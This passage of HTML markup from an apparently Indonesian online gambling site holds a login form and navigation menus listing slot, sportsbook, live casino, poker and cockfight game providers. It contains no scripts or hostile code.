                                    <input type="password" placeholder="Password" id="j_password_2" name="pass" class="form-control required">
                                </div>
                                <!-- <div class="form-group">
                                        <input type="text" placeholder="code" id="j_password_3" name="j_code" class="form-control required">
                                    </div>
                                    <img src="/stickyImg?"> -->
                                <button type="submit" class="button button--login">
                                    Masuk
                                </button>
                            </form>
                            <a href="/register">
                                <button class="button button--signup">Daftar</button>
                            </a>
                        </div>
                        <div class="header-mdl__login-forgot g8pop-forgot">Lupa Login?</div>
                    </div>
                </div>
            </section>
            <section class="header-menu">
                <div class="wrapper">
                    <ul>
                        <li>
                            <a href="/" aria-label="home">
                                <i class="fa fa-home"></i>
                            </a>
                        </li>
                        <li>
                            <a href="/hot">
                                <div class="row-hot-games">
                                    <span><span class="text-gold">Hot</span> Games</span>
                                    <img src="/common/assets/images/hot-menu.png" width="80" height="89" alt="hot" loading="lazy" class="hot">
                                </div>
                            </a>
                            <div class="dropdown-menu">
                                <div class="dropdown-menu__detail">
                                    <div class="dropdown-menu__detail-list">
                                        <a href="#" class="s-check" action="balakplay">
                                            <div class="img-thumbnail">
                                                <img src="/common/assets/images/banner/menu-v2/poker-BALAK.png" alt="BalakPlay" loading="lazy">
                                            </div>
                                            <span class="title">BalakPlay</span>
                                        </a>
                                    </div>
                                    <div class="dropdown-menu__detail-list">
                                        <a href="#" class="s-check" action="s88-slot">
                                            <div class="img-thumbnail">
                                                <img src="/common/assets/images/banner/menu-v2/slot-SLOT88.png" alt="Slot88" loading="lazy">
                                            </div>
                                            <span class="title">Slot88</span>
                                        </a>
                                    </div>
                                    <div class="dropdown-menu__detail-list">
                                        <a href="/slots?sg=pm">
                                            <div class="img-thumbnail">
                                                <img src="/common/assets/images/banner/menu-v2/slot-PRAGMATIC.png" alt="PP Slot" loading="lazy">
                                            </div>
                                            <span class="title">PP Slot</span>
                                        </a>
                                    </div>
                                    <div class="dropdown-menu__detail-list">
                                        <a href="#" class="s-check" action="ion-suit">
                                            <div class="img-thumbnail">
                                                <img src="/common/assets/images/banner/menu-v2/lc-ION.png" alt="ION Suite" loading="lazy">
                                            </div>
                                            <span class="title">ION Suite</span>
                                        </a>
                                    </div>
                                    <div class="dropdown-menu__detail-list">
                                        <a href="#" class="s-check" action="evo-suit">
                                            <div class="img-thumbnail">
                                                <img src="/common/assets/images/banner/menu-v2/lc-EVO.png" alt="EVO Suite" loading="lazy">
                                            </div>
                                            <span class="title">EVO Suite</span>
                                        </a>
                                    </div>
                                </div>
                            </div>
                        </li>
                        <li>
                            <a href="/sportsbook">Sportsbook</a>
                            <div class="dropdown-menu">
                                <div class="dropdown-menu__detail">
                                    <div class="dropdown-menu__detail-list">
                                        <a href="#" class="s-check" action="wbsport">
                                            <div class="img-thumbnail">
                                                <img src="/common/assets/images/banner/menu-v2/sportsbook-WBET.png" alt="WB Sport" loading="lazy">
                                            </div>
                                            <span class="title">WB Sport</span>
                                        </a>
                                    </div>
                                    <div class="dropdown-menu__detail-list">
                                        <a href="#" class="s-check" action="isport">
                                            <div class="img-thumbnail">
                                                <img src="/common/assets/images/banner/menu-v2/sportsbook-IBCBET.png" alt="I Sport" loading="lazy">
                                            </div>
                                            <span class="title">I Sport</span>
                                        </a>
                                    </div>
                                    <div class="dropdown-menu__detail-list">
                                        <a href="#" class="s-check" action="ssport">
                                            <div class="img-thumbnail">
                                                <img src="/common/assets/images/banner/menu-v2/sportsbook-SBOBET.png" alt="S Sport" loading="lazy">
                                            </div>
                                            <span class="title">S Sport</span>
                                        </a>
                                    </div>
                                    <div class="dropdown-menu__detail-list">
                                        <a href="#" class="s-check" action="ssport2g">
                                            <div class="img-thumbnail">
                                                <img src="/common/assets/images/banner/menu-v2/sportsbook-SBOBET-2G.png" alt="S Sport (WAP 2G)" loading="lazy">
                                            </div>
                                            <span class="title">S Sport (WAP 2G)</span>
                                        </a>
                                    </div>
                                    <div class="dropdown-menu__detail-list">
                                        <a href="#" class="s-check" action="sbsport">
                                            <div class="img-thumbnail">
                                                <img src="/common/assets/images/banner/menu-v2/sportsbook-BTI.png" alt="BTI Sport" loading="lazy">
                                            </div>
                                            <span class="title">BTI Sport</span>
                                        </a>
                                    </div>
                                    <div class="dropdown-menu__detail-list">
                                        <a href="#" class="s-check" action="flashtech">
                                            <div class="img-thumbnail">
                                                <img src="/common/assets/images/banner/menu-v2/sportsbook-CMD.png" alt="CMD Sport" loading="lazy">
                                            </div>
                                            <span class="title">CMD Sport</span>
                                        </a>
                                    </div>
                                </div>
                            </div>
                        </li>
                        <li>
                            <a href="/slots-provider">Slots</a>
                            <div class="dropdown-menu">
                                <div class="dropdown-menu__detail">
                                    <div class="dropdown-menu__detail-list">
                                        <a href="/slots?sg=pm" action="pm-slot">
                                            <div class="img-thumbnail">
                                                <img src="/common/assets/images/banner/menu-v2/slot-PRAGMATIC.png" alt="PP Slot" loading="lazy">
                                            </div>
                                            <span class="title">PP Slot</span>
                                        </a>
                                    </div>
                                    <div class="dropdown-menu__detail-list">
                                        <a href="/slots?sg=mgp" action="mg-slot">
                                            <div class="img-thumbnail">
                                                <img src="/common/assets/images/banner/menu-v2/slot-MICROGAMING.png" alt="MG Slot" loading="lazy">
                                            </div>
                                            <span class="title">MG Slot</span>
                                        </a>
                                    </div>
                                    <div class="dropdown-menu__detail-list">
                                        <a href="/slots?sg=s88" action="s88-slot">
                                            <div class="img-thumbnail">
                                                <img src="/common/assets/images/banner/menu-v2/slot-SLOT88.png" alt="Slot88 game" loading="lazy">
                                            </div>
                                            <span class="title">Slot88</span>
                                        </a>
                                    </div>
                                    <div class="dropdown-menu__detail-list">
                                        <a href="/slots?sg=pg" action="pgsoft">
                                            <div class="img-thumbnail">
                                                <img src="/common/assets/images/banner/menu-v2/slot-PGSOFT.png" alt="PGSoft game" loading="lazy">
                                            </div>
                                            <span class="title">PGSoft</span>
                                        </a>
                                    </div>
                                    <div class="dropdown-menu__detail-list">
                                        <a href="/slots?sg=lv2" action="live22-slot">
                                            <div class="img-thumbnail">
                                                <img src="/common/assets/images/banner/menu-v2/slot-LIVE22.png" alt="Live22 game" loading="lazy">
                                            </div>
                                            <span class="title">Live22</span>
                                        </a>
                                    </div>
                                    <div class="dropdown-menu__detail-list">
                                        <a href="/slots?sg=jl" action="jili">
                                            <div class="img-thumbnail">
                                                <img src="/common/assets/images/banner/menu-v2/slot-JILI.png" alt="Jili" loading="lazy">
                                            </div>
                                            <span class="title">Jili</span>
                                        </a>
                                    </div>
                                    <div class="dropdown-menu__detail-list">
                                        <a href="/slots?sg=vp" action="vp-slot">
                                            <div class="img-thumbnail">
                                                <img src="/common/assets/images/banner/menu-v2/slot-VPOWER.png" alt="V Power game" loading="lazy">
                                            </div>
                                            <span class="title">V Power</span>
                                        </a>
                                    </div>
                                    <div class="dropdown-menu__detail-list">
                                        <a href="/slots?sg=jk" action="jk-slot">
                                            <div class="img-thumbnail">
                                                <img src="/common/assets/images/banner/menu-v2/slot-JOKER.png" alt="Joker game" loading="lazy">
                                            </div>
                                            <span class="title">Joker</span>
                                        </a>
                                    </div>
                                    <div class="dropdown-menu__detail-list">
                                        <a href="/slots?sg=hb" action="habanero">
                                            <div class="img-thumbnail">
                                                <img src="/common/assets/images/banner/menu-v2/slot-HABANERO.png" alt="Habanero" loading="lazy">
                                            </div>
                                            <span class="title">Habanero</span>
                                        </a>
                                    </div>
                                    <div class="dropdown-menu__detail-list">
                                        <a href="/slots?sg=sg" action="spadegaming">
                                            <div class="img-thumbnail">
                                                <img src="/common/assets/images/banner/menu-v2/slot-SPADEGAMING.png" alt="SG Slot" loading="lazy">
                                            </div>
                                            <span class="title">SG Slot</span>
                                        </a>
                                    </div>
                                    <div class="dropdown-menu__detail-list">
                                        <a href="/slots?sg=cq9" action="cq-slot">
                                            <div class="img-thumbnail">
                                                <img src="/common/assets/images/banner/menu-v2/slot-CQ9.png" alt="CQ9" loading="lazy">
                                            </div>
                                            <span class="title">CQ9</span>
                                        </a>
                                    </div>
                                    <div class="dropdown-menu__detail-list">
                                        <a href="/slots?sg=ka" action="ka-slot">
                                            <div class="img-thumbnail">
                                                <img src="/common/assets/images/banner/menu-v2/slot-KAGAMING.png" alt="KA Gaming" loading="lazy">
                                            </div>
                                            <span class="title">KA Gaming</span>
                                        </a>
                                    </div>
                                    <!-- <div class="dropdown-menu__detail-list">
                                            <a href="/slots?sg=ion" action="ion-slot">
                                                <div class="img-thumbnail">
                                                    <img src="/common/assets/images/banner/menu/sg-ion.png" alt="ION" loading="lazy">
                                                </div>
                                                <span class="title">ION</span>
                                            </a>
                                        </div> -->
                                    <div class="dropdown-menu__detail-list">
                                        <a href="/slots?sg=gp" action="gp-slot">
                                            <div class="img-thumbnail">
                                                <img src="/common/assets/images/banner/menu-v2/slot-GAMEPLAY.png" alt="GP Slot" loading="lazy">
                                            </div>
                                            <span class="title">GP Slot</span>
                                        </a>
                                    </div>
                                    <div class="dropdown-menu__detail-list">
                                        <a href="/slots?sg=pt" action="pt-slot">
                                            <div class="img-thumbnail">
                                                <img src="/common/assets/images/banner/menu-v2/slot-PLAYTECH.png" alt="PT Slot" loading="lazy">
                                            </div>
                                            <span class="title">PT Slot</span>
                                        </a>
                                    </div>
                                    <div class="dropdown-menu__detail-list">
                                        <a href="/slots?sg=ps" action="playstar">
                                            <div class="img-thumbnail">
                                                <img src="/common/assets/images/banner/menu-v2/slot-PLAYSTAR.png" alt="Playstar" loading="lazy">
                                            </div>
                                            <span class="title">Playstar</span>
                                        </a>
                                    </div>
                                    <!-- <div class="dropdown-menu__detail-list">
                                            <a href="/slots?sg=tsg" action="tsg-slot">
                                                <div class="img-thumbnail">
                                                    <img src="/common/assets/images/banner/menu/sg-tsg.png" alt="TSG" loading="lazy">
                                                </div>
                                                <span class="title">TSG</span>
                                            </a>
                                        </div> -->
                                    <!-- <div class="dropdown-menu__detail-list">
                                            <a href="/slots?sg=sa" action="slotace">
                                                <div class="img-thumbnail">
                                                    <img src="/common/assets/images/banner/menu/sg-sa.png" alt="Slot Ace" loading="lazy">
                                                </div>
                                                <span class="title">Slot Ace</span>
                                            </a>
                                        </div> -->
                                    <div class="dropdown-menu__detail-list">
                                        <a href="/slots?sg=nt" action="nt-slot">
                                            <div class="img-thumbnail">
                                                <img src="/common/assets/images/banner/menu-v2/slot-NETENT.png" alt="Netent" loading="lazy">
                                            </div>
                                            <span class="title">Netent</span>
                                        </a>
                                    </div>
                                    <div class="dropdown-menu__detail-list">
                                        <a href="/slots?sg=nc" action="nc-slot">
                                            <div class="img-thumbnail">
                                                <img src="/common/assets/images/banner/menu-v2/slot-NLC.png" alt="NoLimit City" loading="lazy">
                                            </div>
                                            <span class="title">NoLimit City</span>
                                        </a>
                                    </div>
                                    <div class="dropdown-menu__detail-list">
                                        <a href="/slots?sg=rt" action="rt-slot">
                                            <div class="img-thumbnail">
                                                <img src="/common/assets/images/banner/menu-v2/slot-RED-TIGER.png" alt="Red Tiger" loading="lazy">
                                            </div>
                                            <span class="title">Red Tiger</span>
                                        </a>
                                    </div>
                                    <!-- <div class="dropdown-menu__detail-list">
                                            <a href="/slots?sg=fs" action="fs-slot">
                                                <div class="img-thumbnail">
                                                    <img src="/common/assets/images/banner/menu-v2/slot-FASTSPIN.png" alt="FastSpin" loading="lazy">
                                                </div>
                                                <span class="title">FastSpin</span>
                                            </a>
                                        </div> -->
                                    <div class="dropdown-menu__detail-list">
                                        <a href="/slots?sg=jb" action="jb-slot">
                                            <div class="img-thumbnail">
                                                <img src="/common/assets/images/banner/menu-v2/slot-JDB.png" alt="JDB" loading="lazy">
                                            </div>
                                            <span class="title">JDB</span>
                                        </a>
                                    </div>
                                    <div class="dropdown-menu__detail-list">
                                        <a href="/slots?sg=fc" action="fc-slot">
                                            <div class="img-thumbnail">
                                                <img src="/common/assets/images/banner/menu-v2/slot-FACHAI.png" alt="Fa Chai" loading="lazy">
                                            </div>
                                            <span class="title">Fa Chai</span>
                                        </a>
                                    </div>
                                    <!-- <div class="dropdown-menu__detail-list">
                                            <a href="/slots?sg=sp" action="sp-slot">
                                                <div class="img-thumbnail">
                                                    <img src="/common/assets/images/banner/menu-v2/slot-SPINIX.png" alt="Spinix" loading="lazy">
                                                </div>
                                                <span class="title">Spinix</span>
                                            </a>
                                        </div> -->
                                    <div class="dropdown-menu__detail-list">
                                        <a href="/slots?sg=ap" action="ap-slot">
                                            <div class="img-thumbnail">
                                                <img src="/common/assets/images/banner/menu-v2/slot-AP.png" alt="AdvantPlay" loading="lazy">
                                            </div>
                                            <span class="title">AdvantPlay</span>
                                        </a>
                                    </div>
                                    <div class="dropdown-menu__detail-list">
                                        <a href="/slots?sg=hs" action="hs-slot">
                                            <div class="img-thumbnail">
                                                <img src="/common/assets/images/banner/menu-v2/slot-HACKSAW.png" alt="Hacksaw" loading="lazy">
                                            </div>
                                            <span class="title">Hacksaw</span>
                                        </a>
                                    </div>
                                    <div class="dropdown-menu__detail-list">
                                        <a href="/slots?sg=bng" action="bng-slot">
                                            <div class="img-thumbnail">
                                                <img src="/common/assets/images/banner/menu-v2/slot-BNG.png" alt="BNG" loading="lazy">
                                            </div>
                                            <span class="title">BNG</span>
                                        </a>
                                    </div>
                                    <div class="dropdown-menu__detail-list">
                                        <a href="/slots?sg=png" action="png-slot">
                                            <div class="img-thumbnail">
                                                <img src="/common/assets/images/banner/menu-v2/slot-PLAYNGO.png" alt="PLAYNGO" loading="lazy">
                                            </div>
                                            <span class="title">PlaynGo</span>
                                        </a>
                                    </div>
                                    <!-- <div class="dropdown-menu__detail-list">
                                            <a href="/slots?sg=ams" action="ams-slot">
                                                <div class="img-thumbnail">
                                                    <img src="/common/assets/images/banner/menu-v2/slot-ASKME.png" alt="ASKME" loading="lazy">
                                                </div>
                                                <span class="title">Askmeslot</span>
                                            </a>
                                        </div> -->
                                    <div class="dropdown-menu__detail-list">
                                        <a href="/slots?sg=alz" action="alz-slot">
                                            <div class="img-thumbnail">
                                                <img src="/common/assets/images/banner/menu-v2/slot-ALIZE.png" alt="Alize" loading="lazy">
                                            </div>
                                            <span class="title">Alize</span>
                                        </a>
                                    </div>
                                    <div class="dropdown-menu__detail-list">
                                        <a href="/slots?sg=ep" action="ep-slot">
                                            <div class="img-thumbnail">
                                                <img src="/common/assets/images/banner/menu-v2/slot-EVOPLAY.png" alt="Evoplay" loading="lazy">
                                            </div>
                                            <span class="title">Evoplay</span>
                                        </a>
                                    </div>
                                    <div class="dropdown-menu__detail-list">
                                        <a href="/slots?sg=ebtg" action="ebtg-slot">
                                            <div class="img-thumbnail">
                                                <img src="/common/assets/images/banner/menu-v2/slot-BTG.png" alt="Big Time Game" loading="lazy">
                                            </div>
                                            <span class="title">Big Time Game</span>
                                        </a>
                                    </div>
                                    <div class="dropdown-menu__detail-list">
                                        <a href="/slots?sg=ibx" action="ibx-slot">
                                            <div class="img-thumbnail">
                                                <img src="/common/assets/images/banner/menu-v2/slot-IBEX.png" alt="Ibex" loading="lazy">
                                            </div>
                                            <span class="title">Ibex</span>
                                        </a>
                                    </div>
                                    <!-- <div class="dropdown-menu__detail-list">
                                            <a href="/slots?sg=rlx" action="rlx-slot">
                                                <div class="img-thumbnail">
                                                    <img src="/common/assets/images/banner/menu-v2/slot-RELAX.png" alt="Relax Gaming" loading="lazy">
                                                </div>
                                                <span class="title">Relax Gaming</span>
                                            </a>
                                        </div> -->
                                    <div class="dropdown-menu__detail-list">
                                        <a href="/slots?sg=emp" action="emp-slot">
                                            <div class="img-thumbnail">
                                                <img src="/common/assets/images/banner/menu-v2/slot-IMPERIUM.png" alt="Imperium Games" loading="lazy">
                                            </div>
                                            <span class="title">Imperium Games</span>
                                        </a>
                                    </div>
                                    <!-- <div class="dropdown-menu__detail-list">
                                            <a href="/slots?sg=ns" action="ns-slot">
                                                <div class="img-thumbnail">
                                                    <img src="/common/assets/images/banner/menu-v2/slot-NEXTSPIN.png" alt="Nextspin" loading="lazy">
                                                </div>
                                                <span class="title">Nextspin</span>
                                            </a>
                                        </div> -->
                                    <!-- <div class="dropdown-menu__detail-list">
                                            <a href="/slots?sg=ss" action="ss-slot">
                                                <div class="img-thumbnail">
                                                    <img src="/common/assets/images/banner/menu-v2/slot-SMARTSOFT.png" alt="Smartsoft" loading="lazy">
                                                </div>
                                                <span class="title">Smartsoft</span>
                                            </a>
                                        </div> -->
                                </div>
                            </div>
                        </li>
                        <li>
                            <a href="/livecasino">Live Casino</a>
                            <div class="dropdown-menu">
                                <div class="dropdown-menu__detail">
                                    <div class="dropdown-menu__detail-list">
                                        <a href="#" class="s-check" action="pm-suit">
                                            <div class="img-thumbnail">
                                                <img src="/common/assets/images/banner/menu-v2/lc-PP.png" alt="PP Suite" loading="lazy">
                                            </div>
                                            <span class="title">PP Suite</span>
                                        </a>
                                    </div>
                                    <div class="dropdown-menu__detail-list">
                                        <a href="#" class="s-check" action="wm-suit">
                                            <div class="img-thumbnail">
                                                <img src="/common/assets/images/banner/menu-v2/lc-WM.png" alt="WM Suite" loading="lazy">
                                            </div>
                                            <span class="title">WM Suite</span>
                                        </a>
                                    </div>
                                    <!-- <div class="dropdown-menu__detail-list">
                                            <a href="#" class="s-check" action="vivo-suit">
                                                <div class="img-thumbnail">
                                                    <img src="/common/assets/images/banner/menu-v2/lc-VIVO.png" alt="Vivo Suite" loading="lazy">
                                                </div>
                                                <span class="title">Vivo Suite</span>
                                            </a>
                                        </div> -->
                                    <div class="dropdown-menu__detail-list">
                                        <a href="#" class="s-check" action="ebet-suit">
                                            <div class="img-thumbnail">
                                                <img src="/common/assets/images/banner/menu-v2/lc-EB.png" alt="EBET Suite" loading="lazy">
                                            </div>
                                            <span class="title">EBET Suite</span>
                                        </a>
                                    </div>
                                    <div class="dropdown-menu__detail-list">
                                        <a href="#" class="s-check" action="sexy-suit">
                                            <div class="img-thumbnail">
                                                <img src="/common/assets/images/banner/menu-v2/lc-SXY.png" alt="SEXY Suite" loading="lazy">
                                            </div>
                                            <span class="title">SEXY Suite</span>
                                        </a>
                                    </div>
                                    <div class="dropdown-menu__detail-list">
                                        <a href="#" class="s-check" action="sa-suit">
                                            <div class="img-thumbnail">
                                                <img src="/common/assets/images/banner/menu-v2/lc-SA.png" alt="SA Suite" loading="lazy">
                                            </div>
                                            <span class="title">SA Suite</span>
                                        </a>
                                    </div>
                                    <div class="dropdown-menu__detail-list">
                                        <a href="#" class="s-check" action="ion-suit">
                                            <div class="img-thumbnail">
                                                <img src="/common/assets/images/banner/menu-v2/lc-ION.png" alt="ION Suite" loading="lazy">
                                            </div>
                                            <span class="title">ION Suite</span>
                                        </a>
                                    </div>
                                    <div class="dropdown-menu__detail-list">
                                        <a href="#" class="s-check" action="evo-suit">
                                            <div class="img-thumbnail">
                                                <img src="/common/assets/images/banner/menu-v2/lc-EVO.png" alt="EVO Suite" loading="lazy">
                                            </div>
                                            <span class="title">EVO Suite</span>
                                        </a>
                                    </div>
                                    <!-- <div class="dropdown-menu__detail-list">
                                            <a href="#" class="s-check" action="evo-suit2">
                                                <div class="img-thumbnail">
                                                    <img src="/common/assets/images/banner/menu-v2/lc-EVO.png" alt="EVO Suite 2" loading="lazy">
                                                </div>
                                                <span class="title">EVO Suite 2</span>
                                            </a>
                                        </div> -->
                                    <div class="dropdown-menu__detail-list">
                                        <a href="#" class="s-check" action="ab-suit">
                                            <div class="img-thumbnail">
                                                <img src="/common/assets/images/banner/menu-v2/lc-AB.png" alt="AB Suite" loading="lazy">
                                            </div>
                                            <span class="title">AB Suite</span>
                                        </a>
                                    </div>
                                    <div class="dropdown-menu__detail-list">
                                        <a href="#" class="s-check" action="gp-suit">
                                            <div class="img-thumbnail">
                                                <img src="/common/assets/images/banner/menu-v2/lc-GP.png" alt="GP Suite" loading="lazy">
                                            </div>
                                            <span class="title">GP Suite</span>
                                        </a>
                                    </div>
                                    <div class="dropdown-menu__detail-list">
                                        <a href="#" class="s-check" action="p-suit">
                                            <div class="img-thumbnail">
                                                <img src="/common/assets/images/banner/menu-v2/lc-PT.png" alt="PT Suite" loading="lazy">
                                            </div>
                                            <span class="title">PT Suite</span>
                                        </a>
                                    </div>
                                    <div class="dropdown-menu__detail-list">
                                        <a href="#" class="s-check" action="ag-suit">
                                            <div class="img-thumbnail">
                                                <img src="/common/assets/images/banner/menu-v2/lc-AG.png" alt="AG Suite" loading="lazy">
                                            </div>
                                            <span class="title">AG Suite</span>
                                        </a>
                                    </div>
                                    <div class="dropdown-menu__detail-list">
                                        <a href="#" class="s-check" action="mg-suit">
                                            <div class="img-thumbnail">
                                                <img src="/common/assets/images/banner/menu-v2/lc-MG.png" alt="MG Suite" loading="lazy">
                                            </div>
                                            <span class="title">MG Suite</span>
                                        </a>
                                    </div>
                                    <div class="dropdown-menu__detail-list">
                                        <a href="#" class="s-check" action="s-suit">
                                            <div class="img-thumbnail">
                                                <img src="/common/assets/images/banner/menu-v2/lc-SBO.png" alt="S Suite" loading="lazy">
                                            </div>
                                            <span class="title">S Suite</span>
                                        </a>
                                    </div>
                                    <!-- <div class="dropdown-menu__detail-list">
                                            <a href="#" class="s-check" action="og-suit">
                                                <div class="img-thumbnail">
                                                    <img src="/common/assets/images/banner/menu-v2/lc-OG.png" alt="OG Suite" loading="lazy">
                                                </div>
                                                <span class="title">OG Suite</span>
                                            </a>
                                        </div> -->
                                    <!-- <div class="dropdown-menu__detail-list">
                                            <a href="#" class="s-check" action="dg-suit">
                                                <div class="img-thumbnail">
                                                    <img src="/common/assets/images/banner/menu/lc-dg.png" alt="DG Suite" loading="lazy">
                                                </div>
                                                <span class="title">DG Suite</span>
                                            </a>
                                        </div> -->
                                </div>
                            </div>
                        </li>
                        <li>
                            <a href="/poker">Poker</a>
                            <div class="dropdown-menu">
                                <div class="dropdown-menu__detail">
                                    <div class="dropdown-menu__detail-list">
                                        <a href="#" class="s-check" action="balakplay">
                                            <div class="img-thumbnail">
                                                <img src="/common/assets/images/banner/menu-v2/poker-BALAK.png" alt="Balak Poker" loading="lazy">
                                            </div>
                                            <span class="title">Balak Poker</span>
                                        </a>
                                    </div>
                                    <!-- <div class="dropdown-menu__detail-list">
                                            <a href="#" class="s-check" action="1gaming">
                                                <div class="img-thumbnail">
                                                    <img src="/common/assets/images/banner/menu/poker-9gaming.png" alt="9GAMING" loading="lazy">
                                                </div>
                                                <span class="title">9GAMING</span>
                                            </a>
                                        </div> -->
                                    <div class="dropdown-menu__detail-list">
                                        <a href="#" class="s-check" action="p2play">
                                            <div class="img-thumbnail">
                                                <img src="/common/assets/images/banner/menu-v2/poker-P2P.png" alt="P2PLAY" loading="lazy">
                                            </div>
                                            <span class="title">P2PLAY</span>
                                        </a>
                                    </div>
                                    <!-- <div class="dropdown-menu__detail-list">
                                            <a href="#" class="s-check" action="sukagaming">
                                                <div class="img-thumbnail">
                                                    <img src="/common/assets/images/banner/menu-v2/poker-SUKA.png" alt="SukaGaming" loading="lazy">
                                                </div>
                                                <span class="title">SukaGaming</span>
                                            </a>
                                        </div> -->
                                </div>
                            </div>
                        </li>
                        <li>
                            <a href="/tangkas">Tangkas</a>
                            <div class="dropdown-menu">
                                <div class="dropdown-menu__detail">
                                    <div class="dropdown-menu__detail-list">
                                        <a href="#" class="s-check" action="tangkas">
                                            <div class="img-thumbnail">
                                                <img src="/common/assets/images/banner/menu-v2/tangkas.png" alt="Tangkas" loading="lazy">
                                            </div>
                                            <span class="title">Tangkas</span>
                                        </a>
                                    </div>
                                </div>
                            </div>
                        </li>
                        <li>
                            <a href="/fish">Fish</a>
                            <div class="dropdown-menu">
                                <div class="dropdown-menu__detail">
                                    <div class="dropdown-menu__detail-list">
                                        <a href="#" class="s-check" action="vp-fish">
                                            <div class="img-thumbnail">
                                                <img src="/common/assets/images/banner/menu-v2/fish-VPOWER.png" alt="V Power game" loading="lazy">
                                            </div>
                                            <span class="title">V Power</span>
                                        </a>
                                    </div>
                                    <!-- <div class="dropdown-menu__detail-list">
                                            <a href="#" class="s-check" action="fishace">
                                                <div class="img-thumbnail">
                                                    <img src="/common/assets/images/banner/menu/fish-fa.png" alt="Fish Ace" loading="lazy">
                                                </div>
                                                <span class="title">Fish Ace</span>
                                            </a>
                                        </div> -->
                                    <div class="dropdown-menu__detail-list">
                                        <a href="#" class="s-check" action="ka-fish">
                                            <div class="img-thumbnail">
                                                <img src="/common/assets/images/banner/menu-v2/fish-KAGAMING.png" alt="KA Gaming" loading="lazy">
                                            </div>
                                            <span class="title">KA Gaming</span>
                                        </a>
                                    </div>
                                    <div class="dropdown-menu__detail-list">
                                        <a href="#" class="s-check" action="jk-fish">
                                            <div class="img-thumbnail">
                                                <img src="/common/assets/images/banner/menu-v2/fish-JOKER.png" alt="Joker" loading="lazy">
                                            </div>
                                            <span class="title">Joker</span>
                                        </a>
                                    </div>
                                    <!-- <div class="dropdown-menu__detail-list">
                                            <a href="#" class="s-check" action="others-pt">
                                                <div class="img-thumbnail">
                                                    <img src="/common/assets/images/banner/menu/others-pt.png" alt="Playtech" loading="lazy">
                                                </div>
                                                <span class="title">Playtech</span>
                                            </a>
                                        </div> -->
                                </div>
                            </div>
                        </li>
                        <li>
                            <a href="/others">Others</a>
                            <div class="dropdown-menu">
                                <div class="dropdown-menu__detail">
                                    <!-- <div class="dropdown-menu__detail-list">
                                            <a href="#" class="s-check" action="luxe4d">
                                                <div class="img-thumbnail">
                                                    <img src="/common/assets/images/banner/menu-v2/others-LUXE4D.png" alt="LUXE4D" loading="lazy">
                                                </div>
                                                <span class="title">LUXE4D</span>
                                            </a>
                                        </div> -->
                                    <div class="dropdown-menu__detail-list">
                                        <a href="#" class="s-check" action="balak4d">
                                            <div class="img-thumbnail">
                                                <img src="/common/assets/images/banner/menu-v2/others-NEX4D.png" alt="NEX4D" loading="lazy">
                                            </div>
                                            <span class="title">NEX4D</span>
                                        </a>
                                    </div>
                                    <div class="dropdown-menu__detail-list">
                                        <a href="#" class="s-check" action="p93">
                                            <div class="img-thumbnail">
                                                <img src="/common/assets/images/banner/menu-v2/others-93CONNECT.png" alt="93Connect" loading="lazy">
                                            </div>
                                            <span class="title">93Connect</span>
                                        </a>
                                    </div>
                                    <div class="dropdown-menu__detail-list">
                                        <a href="#" class="s-check" action="cf388">
                                            <div class="img-thumbnail">
                                                <img src="/common/assets/images/banner/menu-v2/others-COCKFIGHT.png" alt="CockFT" loading="lazy">
                                            </div>
                                            <span class="title">CockFT</span>
                                        </a>
                                    </div>
                                    <!-- <div class="dropdown-menu__detail-list">
                                            <a href="#" class="s-check" action="ka-others">
                                                <div class="img-thumbnail">
                                                    <img src="/common/assets/images/banner/menu/others-ka.png" alt="KA Gaming" loading="lazy">
                                                </div>
                                                <span class="title">KA Gaming</span>
                                            </a>
                                        </div> -->
                                    <!-- <div class="dropdown-menu__detail-list">
                                            <a href="#" class="s-check" action="spribe">
                                                <div class="img-thumbnail">
                                                    <img src="/common/assets/images/banner/menu-v2/others-SPRIBE.png" alt="Spribe" loading="lazy">
                                                </div>
                                                <span class="title">Spribe</span>
                                            </a>
                                        </div> -->
                                </div>
                            </div>
                        </li>
                        <li>
                            <a href="/promotions">Promosi</a>
                        </li>
                    </ul>
                </div>
            </section>
        </header>
        <section class="slider">
            <section class="marquee">
                <div class="wrapper">
                    <div class="s-a">
                        <div class="marquee__bullhorn">
                            <i class="fas fa-bullhorn"></i>
                        </div>
                    </div>
                </div>
            </section>
            <div class="g8-banner g8-banner-d">
                <picture>
                    <source srcset="/common/assets/images/placeholder-1800x600.webp" type="image/webp">
                    <img src="/common/assets/images/placeholder-1800x600.png" width="1800" height="600" alt="placeholder" loading="lazy">
                </picture>
            </div>
            <div class="g8-lshm"></div>
        </section>
        <section class="benefits jackpot-home">
            <div class="wrapper">
                <div class="progressive-jackpot">
                    <div class="jackpot-container">
                        <span class="jackpot-currency">IDR</span>
                        <span class="jackpotNumber">Loading...</span>
                    </div>
                </div>
            </div>
        </section>
        <section class="featured">
            <div class="wrapper">
                <div class="home-games">
                    <div class="title">
                        <svg viewBox="0 0 24 24" style="width: 34px; height: 34px; overflow: visible; opacity: 1; z-index: 1; fill: rgb(206, 206, 206);">
                            <path fill="none" d="M0 0h24v24H0z"></path>
                            <path d="M16.2 8.65c-.64.42-1.4.65-2.18.65-2.06 0-3.77-1.55-3.99-3.55C8.13 7.35 6 9.84 6 13c0 1.79.79 3.4 2.04 4.5-.04-.34-.23-1.88 1.13-3.22L12 11.5l2.83 2.78c1.35 1.33 1.17 2.86 1.13 3.21v.01A5.982 5.982 0 0 0 18 13c0-1.65-.66-3.22-1.8-4.35z" opacity=".3"></path>
                            <path d="m12 14.31-1.42 1.4c-.38.36-.58.84-.58 1.35 0 1.07.9 1.94 2 1.94s2-.87 2-1.94c0-.51-.2-.99-.57-1.36L12 14.31z" opacity=".3"></path>
                            <path d="m16 6-.44.55c-.42.52-.98.75-1.54.75C13 7.3 12 6.52 12 5.3V2S4 6 4 13c0 4.42 3.58 8 8 8s8-3.58 8-8c0-2.96-1.61-5.62-4-7zm-4 13c-1.1 0-2-.87-2-1.94 0-.51.2-.99.58-1.36L12 14.3l1.43 1.4c.37.37.57.85.57 1.36 0 1.07-.9 1.94-2 1.94zm3.96-1.5c.04-.36.22-1.89-1.13-3.22L12 11.5l-2.83 2.78C7.81 15.62 8 17.16 8.04 17.5A5.982 5.982 0 0 1 6 13c0-3.16 2.13-5.65 4.03-7.25a4.024 4.024 0 0 0 3.99 3.55c.78 0 1.54-.23 2.18-.66A6.175 6.175 0 0 1 18 13c0 1.79-.79 3.4-2.04 4.5z"></path>
                        </svg>
                        <span style="margin-left: 7px;"><span class="text-white">HOT </span><span class="text-color">SLOT GAMES</span></span>
                        <div class="wrapper-line">
                            <div class="line"></div>
                        </div>
